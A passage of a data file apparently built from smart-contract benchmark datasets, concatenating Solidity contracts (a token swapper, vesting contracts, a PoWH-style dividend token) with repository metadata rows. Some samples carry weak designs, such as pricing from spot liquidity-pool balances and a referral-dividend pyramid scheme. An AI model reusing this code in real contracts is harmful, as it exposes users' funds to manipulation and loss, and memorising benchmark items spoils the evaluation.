_operator = newOperator_;
}
}
contract StillSwapper is Operator {
using SafeERC20 for IERC20;
using SafeMath for uint256;
IERC20 public tomb;
IERC20 public tbond;
IERC20 public tshare;
address public tombSpookyLpPair;
address public tshareSpookyLpPair;
address public wftmAddress;
address public daoAddress;
event TBondSwapPerformed(address indexed sender, uint256 tbondAmount, uint256 tshareAmount);
constructor(address _tomb,
address _tbond,
address _tshare,
address _wftmAddress,
address _tombSpookyLpPair,
address _tshareSpookyLpPair,
address _daoAddress) public {
tomb = IERC20(_tomb);
tbond = IERC20(_tbond);
tshare = IERC20(_tshare);
wftmAddress = _wftmAddress;
tombSpookyLpPair = _tombSpookyLpPair;
tshareSpookyLpPair = _tshareSpookyLpPair;
daoAddress = _daoAddress;
}
modifier isSwappable() {
//TODO: What is a good number here?
require(tomb.totalSupply() >= 60 ether, "ChipSwapMechanismV2.isSwappable(): Insufficient supply.");
_;
}
function estimateAmountOfTShare(uint256 _tbondAmount) external view returns (uint256) {
uint256 tshareAmountPerTomb = getTShareAmountPerTomb();
return _tbondAmount.mul(tshareAmountPerTomb).div(1e18);
}
function swapTBondToTShare(uint256 _tbondAmount) external {
require(getTBondBalance(msg.sender) >= _tbondAmount, "Not enough SHERIFF in wallet");
uint256 tshareAmountPerTomb = getTShareAmountPerTomb();
uint256 tshareAmount = _tbondAmount.mul(tshareAmountPerTomb).div(1e18);
require(getTShareBalance() >= tshareAmount, "Not enough COWBOY.");
tbond.safeTransferFrom(msg.sender, daoAddress, _tbondAmount);
tshare.safeTransfer(msg.sender, tshareAmount);
emit TBondSwapPerformed(msg.sender, _tbondAmount, tshareAmount);
}
function withdrawTShare(uint256 _amount) external onlyOperator {
require(getTShareBalance() >= _amount, "ChipSwapMechanism.withdrawFish(): Insufficient FISH balance.");
tshare.safeTransfer(msg.sender, _amount);
}
function getTShareBalance() public view returns (uint256) {
return tshare.balanceOf(address(this));
}
function getTBondBalance(address _user) public view returns (uint256) {
return tbond.balanceOf(_user);
}
function getTombPrice() public view returns (uint256) {
return IERC20(wftmAddress).balanceOf(tombSpookyLpPair)
.mul(1e18)
.div(tomb.balanceOf(tombSpookyLpPair));
}
function getTSharePrice() public view returns (uint256) {
return IERC20(wftmAddress).balanceOf(tshareSpookyLpPair)
.mul(1e18)
.div(tshare.balanceOf(tshareSpookyLpPair));
}
function getTShareAmountPerTomb() public view returns (uint256) {
uint256 tombPrice = IERC20(wftmAddress).balanceOf(tombSpookyLpPair)
.mul(1e18)
.div(tomb.balanceOf(tombSpookyLpPair));
uint256 tsharePrice =
IERC20(wftmAddress).balanceOf(tshareSpookyLpPair)
.mul(1e18)
.div(tshare.balanceOf(tshareSpookyLpPair));
return tombPrice.mul(1e18).div(tsharePrice);
}
}
| 325,257 | 12,210 |
a3a8cade29dc11007bdd94ffc34b606da5eeff3d2db26a20451e8ef5e6ec1cf2
| 20,113 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x5572a6c464f50395a0f3bca67e75c51dd9321c02.sol
| 4,718 | 19,624 |
pragma solidity 0.4.21;
pragma experimental "v0.5.0";
contract Owned {
address public owner;
address public newOwner;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = 0x0;
}
event OwnerUpdate(address _prevOwner, address _newOwner);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
interface ERC20TokenInterface {
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function totalSupply() external view returns (uint256 _totalSupply);
function balanceOf(address _owner) external view returns (uint256 balance);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
interface TokenVestingInterface {
function getReleasableFunds() external view returns (uint256);
function release() external;
function setWithdrawalAddress(address _newAddress) external;
function revoke(string _reason) external view;
function getTokenBalance() external view returns (uint256);
function updateBalanceOnFunding(uint256 _amount) external;
function salvageOtherTokensFromContract(address _tokenAddress, address _to, uint _amount) external;
function salvageNotAllowedTokensSentToContract(address _to, uint _amount) external;
}
interface VestingMasterInterface {
function amountLockedInVestings() view external returns (uint256);
function substractLockedAmount(uint256 _amount) external;
function addLockedAmount(uint256 _amount) external;
function addInternalBalance(uint256 _amount) external;
}
interface ReleasingScheduleInterface {
function getReleasableFunds(address _vesting) external view returns (uint256);
}
contract ReleasingScheduleLinearContract {
using SafeMath for uint256;
uint256 public startTime;
uint256 public tickDuration;
uint256 public amountPerTick;
function ReleasingScheduleLinearContract(uint256 _startTime, uint256 _tickDuration, uint256 _amountPerTick) public{
startTime = _startTime;
tickDuration = _tickDuration;
amountPerTick = _amountPerTick;
}
function getReleasableFunds(address _vesting) public view returns (uint256){
TokenVestingContract vesting = TokenVestingContract(_vesting);
uint256 balance = ERC20TokenInterface(vesting.tokenAddress()).balanceOf(_vesting);
if (balance == 0 || (startTime >= now)) {
return 0;
}
uint256 vestingScheduleAmount = (now.sub(startTime) / tickDuration) * amountPerTick;
uint256 releasableFunds = vestingScheduleAmount.sub(vesting.alreadyReleasedAmount());
if (releasableFunds > balance) {
releasableFunds = balance;
}
return releasableFunds;
}
}
contract TgeOtherReleasingScheduleContract is ReleasingScheduleLinearContract {
uint256 constant releaseDate = 1578873600;
uint256 constant monthLength = 2592000;
function TgeOtherReleasingScheduleContract(uint256 _amount, uint256 _startTime) ReleasingScheduleLinearContract(_startTime - monthLength, monthLength, _amount / 12) public {
}
function getReleasableFunds(address _vesting) public view returns (uint256) {
if (now < releaseDate) {
return 0;
}
return super.getReleasableFunds(_vesting);
}
}
contract TgeTeamReleasingScheduleContract {
uint256 constant releaseDate = 1578873600;
function TgeTeamReleasingScheduleContract() public {}
function getReleasableFunds(address _vesting) public view returns (uint256) {
TokenVestingContract vesting = TokenVestingContract(_vesting);
if (releaseDate >= now) {
return 0;
} else {
return vesting.getTokenBalance();
}
}
}
contract TokenVestingContract is Owned {
using SafeMath for uint256;
address public beneficiary;
address public tokenAddress;
bool public canReceiveTokens;
bool public revocable;
bool public changable;
address public releasingScheduleContract;
bool fallbackTriggered;
bool public revoked;
uint256 public alreadyReleasedAmount;
uint256 public internalBalance;
event Released(uint256 _amount);
event RevokedAndDestroyed(string _reason);
event WithdrawalAddressSet(address _newAddress);
event TokensReceivedSinceLastCheck(uint256 _amount);
event VestingReceivedFunding(uint256 _amount);
event SetReleasingSchedule(address _addy);
event NotAllowedTokensReceived(uint256 amount);
function TokenVestingContract(address _beneficiary, address _tokenAddress, bool _canReceiveTokens, bool _revocable, bool _changable, address _releasingScheduleContract) public {
beneficiary = _beneficiary;
tokenAddress = _tokenAddress;
canReceiveTokens = _canReceiveTokens;
revocable = _revocable;
changable = _changable;
releasingScheduleContract = _releasingScheduleContract;
alreadyReleasedAmount = 0;
revoked = false;
internalBalance = 0;
fallbackTriggered = false;
}
function setReleasingSchedule(address _releasingScheduleContract) external onlyOwner {
require(changable);
releasingScheduleContract = _releasingScheduleContract;
emit SetReleasingSchedule(releasingScheduleContract);
}
function setWithdrawalAddress(address _newAddress) external onlyOwner {
beneficiary = _newAddress;
emit WithdrawalAddressSet(_newAddress);
}
function release() external returns (uint256 transferedAmount) {
checkForReceivedTokens();
require(msg.sender == beneficiary || msg.sender == owner);
uint256 amountToTransfer = ReleasingScheduleInterface(releasingScheduleContract).getReleasableFunds(this);
require(amountToTransfer > 0);
alreadyReleasedAmount = alreadyReleasedAmount.add(amountToTransfer);
internalBalance = internalBalance.sub(amountToTransfer);
VestingMasterInterface(owner).substractLockedAmount(amountToTransfer);
ERC20TokenInterface(tokenAddress).transfer(beneficiary, amountToTransfer);
emit Released(amountToTransfer);
return amountToTransfer;
}
function revoke(string _reason) external onlyOwner {
require(revocable);
uint256 releasableFunds = ReleasingScheduleInterface(releasingScheduleContract).getReleasableFunds(this);
ERC20TokenInterface(tokenAddress).transfer(beneficiary, releasableFunds);
VestingMasterInterface(owner).substractLockedAmount(releasableFunds);
VestingMasterInterface(owner).addInternalBalance(getTokenBalance());
ERC20TokenInterface(tokenAddress).transfer(owner, getTokenBalance());
emit RevokedAndDestroyed(_reason);
selfdestruct(owner);
}
function getTokenBalance() public view returns (uint256 tokenBalance) {
return ERC20TokenInterface(tokenAddress).balanceOf(address(this));
}
function updateBalanceOnFunding(uint256 _amount) external onlyOwner {
internalBalance = internalBalance.add(_amount);
emit VestingReceivedFunding(_amount);
}
function checkForReceivedTokens() public {
if (getTokenBalance() != internalBalance) {
uint256 receivedFunds = getTokenBalance().sub(internalBalance);
if (canReceiveTokens) {
internalBalance = getTokenBalance();
VestingMasterInterface(owner).addLockedAmount(receivedFunds);
} else {
emit NotAllowedTokensReceived(receivedFunds);
}
emit TokensReceivedSinceLastCheck(receivedFunds);
}
fallbackTriggered = true;
}
function salvageOtherTokensFromContract(address _tokenAddress, address _to, uint _amount) external onlyOwner {
require(_tokenAddress != tokenAddress);
ERC20TokenInterface(_tokenAddress).transfer(_to, _amount);
}
function salvageNotAllowedTokensSentToContract(address _to, uint _amount) external onlyOwner {
checkForReceivedTokens();
require(_amount <= getTokenBalance() - internalBalance);
ERC20TokenInterface(tokenAddress).transfer(_to, _amount);
}
function () external{
fallbackTriggered = true;
}
}
contract VestingMasterContract is Owned {
using SafeMath for uint256;
address public tokenAddress;
bool public canReceiveTokens;
address public moderator;
uint256 public internalBalance;
uint256 public amountLockedInVestings;
bool public fallbackTriggered;
struct VestingStruct {
uint256 arrayPointer;
address beneficiary;
address releasingScheduleContract;
string vestingType;
uint256 vestingVersion;
}
address[] public vestingAddresses;
mapping(address => VestingStruct) public addressToVestingStruct;
mapping(address => address) public beneficiaryToVesting;
event VestingContractFunded(address beneficiary, address tokenAddress, uint256 amount);
event LockedAmountDecreased(uint256 amount);
event LockedAmountIncreased(uint256 amount);
event TokensReceivedSinceLastCheck(uint256 amount);
event TokensReceivedWithApproval(uint256 amount, bytes extraData);
event NotAllowedTokensReceived(uint256 amount);
function VestingMasterContract(address _tokenAddress, bool _canReceiveTokens) public{
tokenAddress = _tokenAddress;
canReceiveTokens = _canReceiveTokens;
internalBalance = 0;
amountLockedInVestings = 0;
}
function vestingExists(address _vestingAddress) public view returns (bool exists){
if (vestingAddresses.length == 0) {return false;}
return (vestingAddresses[addressToVestingStruct[_vestingAddress].arrayPointer] == _vestingAddress);
}
function storeNewVesting(address _vestingAddress, address _beneficiary, address _releasingScheduleContract, string _vestingType, uint256 _vestingVersion) internal onlyOwner returns (uint256 vestingsLength) {
require(!vestingExists(_vestingAddress));
addressToVestingStruct[_vestingAddress].beneficiary = _beneficiary;
addressToVestingStruct[_vestingAddress].releasingScheduleContract = _releasingScheduleContract;
addressToVestingStruct[_vestingAddress].vestingType = _vestingType;
addressToVestingStruct[_vestingAddress].vestingVersion = _vestingVersion;
beneficiaryToVesting[_beneficiary] = _vestingAddress;
addressToVestingStruct[_vestingAddress].arrayPointer = vestingAddresses.push(_vestingAddress) - 1;
return vestingAddresses.length;
}
function deleteVestingFromStorage(address _vestingAddress) internal onlyOwner returns (uint256 vestingsLength) {
require(vestingExists(_vestingAddress));
delete (beneficiaryToVesting[addressToVestingStruct[_vestingAddress].beneficiary]);
uint256 indexToDelete = addressToVestingStruct[_vestingAddress].arrayPointer;
address keyToMove = vestingAddresses[vestingAddresses.length - 1];
vestingAddresses[indexToDelete] = keyToMove;
addressToVestingStruct[keyToMove].arrayPointer = indexToDelete;
vestingAddresses.length--;
return vestingAddresses.length;
}
function addVesting(address _vestingAddress, address _beneficiary, address _releasingScheduleContract, string _vestingType, uint256 _vestingVersion) public {
uint256 vestingBalance = TokenVestingInterface(_vestingAddress).getTokenBalance();
amountLockedInVestings = amountLockedInVestings.add(vestingBalance);
storeNewVesting(_vestingAddress, _beneficiary, _releasingScheduleContract, _vestingType, _vestingVersion);
}
function releaseVesting(address _vestingContract) external {
require(vestingExists(_vestingContract));
require(msg.sender == addressToVestingStruct[_vestingContract].beneficiary || msg.sender == owner || msg.sender == moderator);
TokenVestingInterface(_vestingContract).release();
}
function releaseMyTokens() external {
address vesting = beneficiaryToVesting[msg.sender];
require(vesting != 0);
TokenVestingInterface(vesting).release();
}
function fundVesting(address _vestingContract, uint256 _amount) public onlyOwner {
checkForReceivedTokens();
require((internalBalance >= _amount) && (getTokenBalance() >= _amount));
require(vestingExists(_vestingContract));
internalBalance = internalBalance.sub(_amount);
ERC20TokenInterface(tokenAddress).transfer(_vestingContract, _amount);
TokenVestingInterface(_vestingContract).updateBalanceOnFunding(_amount);
emit VestingContractFunded(_vestingContract, tokenAddress, _amount);
}
function getTokenBalance() public constant returns (uint256) {
return ERC20TokenInterface(tokenAddress).balanceOf(address(this));
}
function revokeVesting(address _vestingContract, string _reason) external onlyOwner {
TokenVestingInterface subVestingContract = TokenVestingInterface(_vestingContract);
subVestingContract.revoke(_reason);
deleteVestingFromStorage(_vestingContract);
}
function addInternalBalance(uint256 _amount) external {
require(vestingExists(msg.sender));
internalBalance = internalBalance.add(_amount);
}
function addLockedAmount(uint256 _amount) external {
require(vestingExists(msg.sender));
amountLockedInVestings = amountLockedInVestings.add(_amount);
emit LockedAmountIncreased(_amount);
}
function substractLockedAmount(uint256 _amount) external {
require(vestingExists(msg.sender));
amountLockedInVestings = amountLockedInVestings.sub(_amount);
emit LockedAmountDecreased(_amount);
}
function checkForReceivedTokens() public {
if (getTokenBalance() != internalBalance) {
uint256 receivedFunds = getTokenBalance().sub(internalBalance);
if (canReceiveTokens) {
amountLockedInVestings = amountLockedInVestings.add(receivedFunds);
internalBalance = getTokenBalance();
}
else {
emit NotAllowedTokensReceived(receivedFunds);
}
emit TokensReceivedSinceLastCheck(receivedFunds);
} else {
emit TokensReceivedSinceLastCheck(0);
}
fallbackTriggered = false;
}
function salvageNotAllowedTokensSentToContract(address _contractFrom, address _to, uint _amount) external onlyOwner {
if (_contractFrom == address(this)) {
checkForReceivedTokens();
require(_amount <= getTokenBalance() - internalBalance);
ERC20TokenInterface(tokenAddress).transfer(_to, _amount);
}
if (vestingExists(_contractFrom)) {
TokenVestingInterface(_contractFrom).salvageNotAllowedTokensSentToContract(_to, _amount);
}
}
function salvageOtherTokensFromContract(address _tokenAddress, address _contractAddress, address _to, uint _amount) external onlyOwner {
require(_tokenAddress != tokenAddress);
if (_contractAddress == address(this)) {
ERC20TokenInterface(_tokenAddress).transfer(_to, _amount);
}
if (vestingExists(_contractAddress)) {
TokenVestingInterface(_contractAddress).salvageOtherTokensFromContract(_tokenAddress, _to, _amount);
}
}
function killContract() external onlyOwner {
require(vestingAddresses.length == 0);
ERC20TokenInterface(tokenAddress).transfer(owner, getTokenBalance());
selfdestruct(owner);
}
function setWithdrawalAddress(address _vestingContract, address _beneficiary) external {
require(vestingExists(_vestingContract));
TokenVestingContract vesting = TokenVestingContract(_vestingContract);
require(msg.sender == vesting.beneficiary() || (msg.sender == owner && vesting.changable()));
TokenVestingInterface(_vestingContract).setWithdrawalAddress(_beneficiary);
addressToVestingStruct[_vestingContract].beneficiary = _beneficiary;
}
function receiveApproval(address _from, uint256 _amount, address _tokenAddress, bytes _extraData) external {
require(canReceiveTokens);
require(_tokenAddress == tokenAddress);
ERC20TokenInterface(_tokenAddress).transferFrom(_from, address(this), _amount);
amountLockedInVestings = amountLockedInVestings.add(_amount);
internalBalance = internalBalance.add(_amount);
emit TokensReceivedWithApproval(_amount, _extraData);
}
function deployVesting(address _beneficiary,
string _vestingType,
uint256 _vestingVersion,
bool _canReceiveTokens,
bool _revocable,
bool _changable,
address _releasingSchedule) public onlyOwner {
TokenVestingContract newVesting = new TokenVestingContract(_beneficiary, tokenAddress, _canReceiveTokens, _revocable, _changable, _releasingSchedule);
addVesting(newVesting, _beneficiary, _releasingSchedule, _vestingType, _vestingVersion);
}
function deployOtherVesting(address _beneficiary,
uint256 _amount,
uint256 _startTime) public onlyOwner {
TgeOtherReleasingScheduleContract releasingSchedule = new TgeOtherReleasingScheduleContract(_amount, _startTime);
TokenVestingContract newVesting = new TokenVestingContract(_beneficiary, tokenAddress, true, true, true, releasingSchedule);
addVesting(newVesting, _beneficiary, releasingSchedule, 'other', 1);
fundVesting(newVesting, _amount);
}
function deployTgeTeamVesting(address _beneficiary,
uint256 _amount) public onlyOwner {
TgeTeamReleasingScheduleContract releasingSchedule = new TgeTeamReleasingScheduleContract();
TokenVestingContract newVesting = new TokenVestingContract(_beneficiary, tokenAddress, true, true, true, releasingSchedule);
addVesting(newVesting, _beneficiary, releasingSchedule, 'X8 team', 1);
fundVesting(newVesting, _amount);
}
function acceptOwnershipOfVesting(address _vesting) external onlyOwner {
TokenVestingContract(_vesting).acceptOwnership();
}
function setModerator(address _moderator) external onlyOwner {
moderator = _moderator;
}
function () external{
fallbackTriggered = true;
}
}
| 167,220 | 12,211 |
5383ceb3ee1fd0f59c958ad4d1bb6ea941f18e92b90235b8c4a4523538c7dc47
| 12,606 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.6/0xcd3dc4e19418fe7dad216376ff685760685cee13.sol
| 3,277 | 11,875 |
pragma solidity ^0.4.25;
contract CryptoMinerBlock {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "Crypto Miner Block";
string public symbol = "CMB";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 10;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 4;
uint8 constant internal refferalFee_ = 33;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 210,752 | 12,212 |
83d2836de51f3127db0b6a79edd7fdb383c143b52c79179eedba63343987f8c7
| 23,761 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/02/029DDccE891c877A457dd92fD4FB86FeEf964C6C_MetaSanta.sol
| 5,201 | 18,738 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
